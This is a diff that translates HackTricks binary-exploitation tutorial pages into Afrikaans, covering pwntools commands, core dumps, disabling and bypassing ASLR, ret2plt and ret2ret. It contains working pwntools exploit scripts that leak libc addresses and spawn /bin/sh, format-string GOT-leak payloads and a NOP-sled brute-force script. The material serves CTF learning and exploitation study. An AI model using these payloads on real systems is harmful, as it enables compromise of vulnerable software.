- list possible shellcodes
- Generate ELF as a shared library
## Pwn template
Get a python template
## Pwn sjabloon
Kry 'n python sjabloon
```
pwn template
```
**Can select:** host, port, user, pass, path and quiet
**Kan kies:** gasheer, poort, gebruiker, wagwoord, pad en stil
## Pwn unhex
From hex to string
Van hex na string
```
pwn unhex 686f6c61
```
## Pwn opdatering
## Pwn update
To update pwntools
Om pwntools op te dateer
```
pwn update
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,35 +1,29 @@
# Common Binary Exploitation Protections & Bypasses
# Algemene Binêre Exploit Proteksies & Omseilings
{{#include ../../banners/hacktricks-training.md}}
## Enable Core files
## Aktiveer Kernlêers
**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred.
**Kernlêers** is 'n tipe lêer wat deur 'n bedryfstelsel gegenereer word wanneer 'n proses ineenstort. Hierdie lêers vang die geheuebeeld van die ineenstortende proses op die tydstip van sy beëindiging, insluitend die proses se geheue, registers, en program teenwoordigheidstoestand, onder andere besonderhede. Hierdie snapshot kan uiters waardevol wees vir foutopsporing en om te verstaan waarom die ineenstorting plaasgevind het.
### **Enabling Core Dump Generation**
### **Aktivering van Kern Dump Generasie**
By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings.
- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
Standaard beperk baie stelsels die grootte van kernlêers tot 0 (d.w.s., hulle genereer nie kernlêers nie) om skyfspasie te bespaar. Om die generasie van kernlêers te aktiveer, kan jy die **`ulimit`** opdrag (in bash of soortgelyke shells) gebruik of stelselsgewys instellings konfigureer.
- **Gebruik van ulimit**: Die opdrag `ulimit -c unlimited` laat die huidige shell-sessie toe om kernlêers van onbeperkte grootte te skep. Dit is nuttig vir foutopsporing sessies, maar is nie volhoubaar oor herlaai of nuwe sessies nie.
```bash
ulimit -c unlimited
```
- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
- **Volhoubare Konfigurasie**: Vir 'n meer permanente oplossing, kan jy die `/etc/security/limits.conf` lêer wysig om 'n lyn soos `* soft core unlimited` in te sluit, wat alle gebruikers toelaat om onbeperkte grootte kernlêers te genereer sonder om ulimit handmatig in hul sessies in te stel.
```markdown
- soft core unlimited
```
### **Analiseer Kernlêers met GDB**
### **Analyzing Core Files with GDB**
To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
Om 'n kernlêer te analiseer, kan jy foutopsporingstoestelle soos GDB (die GNU Foutopsporer) gebruik. Aannemende dat jy 'n uitvoerbare lêer het wat 'n kerndump geproduseer het en die kernlêer genoem word `core_file`, kan jy die analise begin met:
```bash
gdb /path/to/executable /path/to/core_file
```
This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
Hierdie opdrag laai die uitvoerbare lêer en die kernlêer in GDB, wat jou toelaat om die toestand van die program op die tydstip van die ineenstorting te ondersoek. Jy kan GDB-opdragte gebruik om die stapel te verken, veranderlikes te ondersoek en die oorsaak van die ineenstorting te verstaan.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,107 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.
**Address Space Layout Randomization (ASLR)** is 'n sekuriteits tegniek wat in bedryfstelsels gebruik word om die **geheue adresse** wat deur stelsels en toepassingsprosesse gebruik word, te **randomiseer**. Deur dit te doen, maak dit dit aansienlik moeiliker vir 'n aanvaller om die ligging van spesifieke prosesse en data, soos die stapel, hoop en biblioteke, te voorspel, wat sekere tipes ontploffings, veral buffer oorgroeis, verminder.
### **Checking ASLR Status**
### **Kontroleer ASLR Status**
To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied:
Om die ASLR-status op 'n Linux-stelsel te **kontroleer**, kan jy die waarde uit die **`/proc/sys/kernel/randomize_va_space`** lêer lees. Die waarde wat in hierdie lêer gestoor is, bepaal die tipe ASLR wat toegepas word:
- **0**: No randomization. Everything is static.
- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized.
You can check the ASLR status with the following command:
- **0**: Geen randomisering. Alles is staties.
- **1**: Konserwatiewe randomisering. Gedeelde biblioteke, stapel, mmap(), VDSO-bladsy is gerandomiseer.
- **2**: Volledige randomisering. Benewens elemente wat deur konserwatiewe randomisering gerandomiseer is, is geheue wat deur `brk()` bestuur word, gerandomiseer.
Jy kan die ASLR-status met die volgende opdrag kontroleer:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Deaktiveer ASLR**
### **Disabling ASLR**
To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
Om ASLR te **deaktiveer**, stel jy die waarde van `/proc/sys/kernel/randomize_va_space` op **0**. Dit is oor die algemeen nie aanbeveel om ASLR te deaktiveer buite toets- of foutopsporingstoestande nie. Hier is hoe jy dit kan deaktiveer:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
You can also disable ASLR for an execution with:
U kan ook ASLR vir 'n uitvoering deaktiveer met:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Aktivering van ASLR**
### **Enabling ASLR**
To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
Om ASLR te **aktiveer**, kan jy 'n waarde van **2** na die `/proc/sys/kernel/randomize_va_space` lêer skryf. Dit vereis gewoonlik wortelregte. Volledige randomisering kan gedoen word met die volgende opdrag:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Volharding Oor Herlaaiings**
### **Persistence Across Reboots**
Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
Veranderinge gemaak met die `echo` opdragte is tydelik en sal teruggestel word by herlaai. Om die verandering volhardend te maak, moet jy die `/etc/sysctl.conf` lêer wysig en die volgende lyn byvoeg of aanpas:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
After editing `/etc/sysctl.conf`, apply the changes with:
Na die redigering van `/etc/sysctl.conf`, pas die veranderinge toe met:
```bash
sudo sysctl -p
```
Dit sal verseker dat jou ASLR-instellings oor herlaaiings bly.
This will ensure that your ASLR settings remain across reboots.
## **Omseilings**
## **Bypasses**
### 32-bit brute-forcing
### 32bit brute-forcing
PaX verdeel die prosesadresruimte in **3 groepe**:
PaX divides the process address space into **3 groups**:
- **Kode en data** (geïnisialiseerde en nie-geïnisialiseerde): `.text`, `.data`, en `.bss` —> **16 bits** entropie in die `delta_exec` veranderlike. Hierdie veranderlike word ewekansig geïnitialiseer met elke proses en bygevoeg tot die aanvanklike adresse.
- **Geheue** toegeken deur `mmap()` en **gedeelde biblioteke** —> **16 bits**, genoem `delta_mmap`.
- **Die stapel** —> **24 bits**, verwys as `delta_stack`. Dit gebruik egter effektief **11 bits** (van die 10de tot die 20ste byte insluitend), geallineer op **16 bytes** —> Dit lei tot **524,288 moontlike werklike stapeladresse**.
- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses.
- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
Die vorige data is vir 32-bit stelsels en die verminderde finale entropie maak dit moontlik om ASLR te omseil deur die uitvoering herhaaldelik te probeer totdat die uitbuiting suksesvol voltooi word.
The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.
#### Brute-force ideas:
- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
- Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
#### Brute-force idees:
- As jy 'n groot genoeg oorgang het om 'n **groot NOP-slee voor die shellcode** te huisves, kan jy eenvoudig adresse in die stapel brute-force totdat die vloei **oor 'n deel van die NOP-slee spring**.
- 'n Ander opsie hiervoor, in die geval die oorgang nie so groot is nie en die uitbuiting plaaslik uitgevoer kan word, is om **die NOP-slee en shellcode in 'n omgewing veranderlike** by te voeg.
- As die uitbuiting plaaslik is, kan jy probeer om die basisadres van libc te brute-force (nuttig vir 32-bit stelsels):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
- As jy 'n afstandsbediening bediener aanval, kan jy probeer om die **adres van die `libc` funksie `usleep` te brute-force**, met 10 as argument (byvoorbeeld). As die **bediener op 'n stadium 10s ekstra neem om te antwoord**, het jy die adres van hierdie funksie gevind.
> [!TIP]
> In 64bit systems the entropy is much higher and this shouldn't possible.
> In 64-bis stelsels is die entropie baie hoër en dit behoort nie moontlik te wees nie.
### 64 bits stack brute-forcing
It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
### 64-bis stap brute-forcing
Dit is moontlik om 'n groot deel van die stap met omgewing veranderlikes te beset en dan te probeer om die binêre honderde/duisende kere plaaslik te misbruik om dit te ontgin.\
Die volgende kode toon hoe dit moontlik is om **net 'n adres in die stap te kies** en elke **paar honderd uitvoerings** sal daardie adres die **NOP instruksie** bevat:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
cont += 1
if cont % 10000 == 0:
break
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Local Information (`/proc/[pid]/stat`)
### Plaaslike Inligting (`/proc/[pid]/stat`)
The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as:
Die lêer **`/proc/[pid]/stat`** van 'n proses is altyd leesbaar deur almal en dit **bevat interessante** inligting soos:
- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary
- **startstack**: The address of the start of the **stack**
- **start_data** & **end_data**: Addresses above and below where the **BSS** is
- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses
- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are.
- **env_start** &**env_end**: Addresses above and below where **env variables** are.
- **startcode** & **endcode**: Adresse bo en onder met die **TEKS** van die binêre
- **startstack**: Die adres van die begin van die **stapel**
- **start_data** & **end_data**: Adresse bo en onder waar die **BSS** is
- **kstkesp** & **kstkeip**: Huidige **ESP** en **EIP** adresse
- **arg_start** & **arg_end**: Adresse bo en onder waar **cli argumente** is.
- **env_start** &**env_end**: Adresse bo en onder waar **omgewing veranderlikes** is.
Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**.
Daarom, as die aanvaller op dieselfde rekenaar is as die binêre wat uitgebuit word en hierdie binêre nie die oorgang van rou argumente verwag nie, maar van 'n ander **invoer wat gekonstrueer kan word na die lees van hierdie lêer**. Dit is moontlik vir 'n aanvaller om **'n paar adresse uit hierdie lêer te kry en offsets daaruit vir die uitbuiting te konstrueer**.
> [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
> Vir meer inligting oor hierdie lêer, kyk na [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) en soek vir `/proc/pid/stat`
### Having a leak
### Om 'n lek te hê
- **The challenge is giving a leak**
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
- **Die uitdaging is om 'n lek te gee**
As jy 'n lek gegee word (maklike CTF-uitdagings), kan jy offsets daaruit bereken (veronderstel byvoorbeeld dat jy die presiese libc weergawe weet wat in die stelsel wat jy uitbuit, gebruik word). Hierdie voorbeeld uitbuiting is uit die [**voorbeeld hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (kyk daardie bladsy vir meer besonderhede):
```python
from pwn import *
@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
- **ret2plt**
Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check:
Deur 'n buffer overflow te misbruik, sal dit moontlik wees om 'n **ret2plt** te benut om 'n adres van 'n funksie uit die libc te eksfiltreer. Kyk:
{{#ref}}
ret2plt.md
@ -216,8 +198,7 @@ ret2plt.md
- **Format Strings Arbitrary Read**
Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
Net soos in ret2plt, as jy 'n arbitrêre lees via 'n formaat string kwesbaarheid het, is dit moontlik om die adres van 'n **libc funksie** uit die GOT te eksfiltreer. Die volgende [**voorbeeld is van hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
You can find more info about Format Strings arbitrary read in:
U kan meer inligting oor Format Strings arbitrêre lees vind in:
{{#ref}}
../../format-strings/
@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in:
### Ret2ret & Ret2pop
Try to bypass ASLR abusing addresses inside the stack:
Probeer om ASLR te omseil deur adresse binne die stapel te misbruik:
{{#ref}}
ret2ret.md
@ -245,13 +225,12 @@ ret2ret.md
### vsyscall
The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\
However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent)
Die **`vsyscall`** meganisme dien om prestasie te verbeter deur sekere stelsels oproepe in gebruikersruimte uit te voer, alhoewel hulle fundamenteel deel van die kern is. Die kritieke voordeel van **vsyscalls** lê in hul **vaste adresse**, wat nie onderhewig is aan **ASLR** (Address Space Layout Randomization) nie. Hierdie vaste aard beteken dat aanvallers nie 'n inligtingslek kwesbaarheid benodig om hul adresse te bepaal en dit in 'n uitbuiting te gebruik nie.\
Egter, geen super interessante gadgets sal hier gevind word nie (alhoewel dit byvoorbeeld moontlik is om 'n `ret;` ekwivalent te kry)
(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
(Dit volgende voorbeeld en kode is [**van hierdie skrywe**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
Byvoorbeeld, 'n aanvaller mag die adres `0xffffffffff600800` binne 'n uitbuiting gebruik. Terwyl die poging om direk na 'n `ret` instruksie te spring mag lei tot onstabiliteit of crashes na die uitvoering van 'n paar gadgets, kan dit suksesvol wees om na die begin van 'n `syscall` wat deur die **vsyscall** afdeling verskaf word, te spring. Deur 'n **ROP** gadget versigtig te plaas wat uitvoering na hierdie **vsyscall** adres lei, kan 'n aanvaller kode-uitvoering bereik sonder om **ASLR** vir hierdie deel van die uitbuiting te omseil.
```
ef➤ vmmap
Start End Offset Perm Path
@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check:
Let dus op hoe dit moontlik mag wees om **ASLR te omseil deur die vdso te misbruik** as die kernel saamgestel is met CONFIG_COMPAT_VDSO, aangesien die vdso-adres nie ge-randomiseer sal word nie. Vir meer inligting, kyk:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md

View File

@ -2,40 +2,37 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
Die doel van hierdie tegniek is om **'n adres van 'n funksie uit die PLT te lek** om ASLR te kan omseil. Dit is omdat, as jy byvoorbeeld die adres van die funksie `puts` uit die libc lek, jy dan **kan bereken waar die basis van `libc` is** en offsets kan bereken om toegang te verkry tot ander funksies soos **`system`**.
Dit kan gedoen word met 'n `pwntools` payload soos ([**van hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
Let op hoe **`puts`** (met die adres van die PLT) aangeroep word met die adres van `puts` wat in die GOT (Global Offset Table) geleë is. Dit is omdat teen die tyd dat `puts` die GOT-invoer van puts druk, hierdie **invoer die presiese adres van `puts` in geheue sal bevat**.
Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**.
Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
Let ook op hoe die adres van `main` in die uitbuiting gebruik word, sodat wanneer `puts` sy uitvoering beëindig, die **binarie weer `main` aanroep in plaas van om te verlaat** (sodat die gelekte adres geldig sal bly).
> [!CAUTION]
> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
> Let op hoe om dit te laat werk, die **binarie kan nie met PIE gekompileer word nie** of jy moet **'n lek gevind het om PIE te omseil** om die adres van die PLT, GOT en main te ken. Andersins moet jy eers PIE omseil.
Jy kan 'n [**volledige voorbeeld van hierdie omseiling hier vind**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Dit was die finale uitbuiting van daardie **voorbeeld**:
```python
from pwn import *
@ -46,10 +43,10 @@ p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Other examples & References
## Ander voorbeelde & Verwysings
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64-bis, ASLR geaktiveer maar geen PIE nie, die eerste stap is om 'n oorgang te vul tot die byte 0x00 van die canary om dan puts aan te roep en dit te lek. Met die canary word 'n ROP gadget geskep om puts aan te roep om die adres van puts van die GOT te lek en dan 'n ROP gadget om `system('/bin/sh')` aan te roep.
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64-bits, ASLR geaktiveer, geen canary nie, stap oorgang in hoof vanaf 'n kind funksie. ROP gadget om puts aan te roep om die adres van puts van die GOT te lek en dan 'n een gadget aan te roep.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,27 @@
## Ret2ret
The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**.
Die hoof **doel** van hierdie tegniek is om te probeer om **ASLR te omseil deur 'n bestaande pointer in die stapel te misbruik**.
Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte).
Basies, stapel oorgeloop is gewoonlik veroorsaak deur stringe, en **stringe eindig met 'n null byte aan die einde** in geheue. Dit maak dit moontlik om te probeer om die plek wat deur 'n bestaande pointer in die stapel aangedui word, te verminder. So as die stapel `0xbfffffdd` bevat, kan hierdie oorgeloop dit in `0xbfffff00` verander (let op die laaste nul byte).
If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached.
As daardie adres na ons shellcode in die stapel wys, is dit moontlik om die vloei na daardie adres te laat bereik deur **adresse by die `ret` instruksie te voeg** totdat hierdie een bereik word.
Therefore the attack would be like this:
Daarom sal die aanval soos volg wees:
- NOP sled
- Shellcode
- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled)
- 0x00 added by the string modifying an address from the stack making it point to the NOP sled
- Oorskry die stapel vanaf die EIP met **adresse na `ret`** (RET sled)
- 0x00 bygevoeg deur die string wat 'n adres van die stapel verander om na die NOP sled te wys
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit.
Volg [**hierdie skakel**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) om 'n voorbeeld van 'n kwesbare binêre te sien en [**in hierdie een**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) die eksploit.
## Ret2pop
In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop <reg>; ret`**.\
This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change.
In die geval dat jy 'n **perfekte pointer in die stapel kan vind wat jy nie wil verander nie** (in `ret2ret` verander ons die finale laagste byte na `0x00`), kan jy dieselfde `ret2ret` aanval uitvoer, maar die **lengte van die RET sled moet met 1 verkort word** (sodat die finale `0x00` die data net voor die perfekte pointer oorskry), en die **laaste** adres van die RET sled moet na **`pop <reg>; ret`** wys.\
Op hierdie manier sal die **data voor die perfekte pointer verwyder word** van die stapel (dit is die data wat deur die `0x00` geraak word) en die **finale `ret` sal na die perfekte adres** in die stapel wys sonder enige verandering.
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit.
Volg [**hierdie skakel**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) om 'n voorbeeld van 'n kwesbare binêre te sien en [**in hierdie een**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) die eksploit.
## References

View File

@ -4,22 +4,22 @@
## Control Flow Enforcement Technology (CET)
**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action.
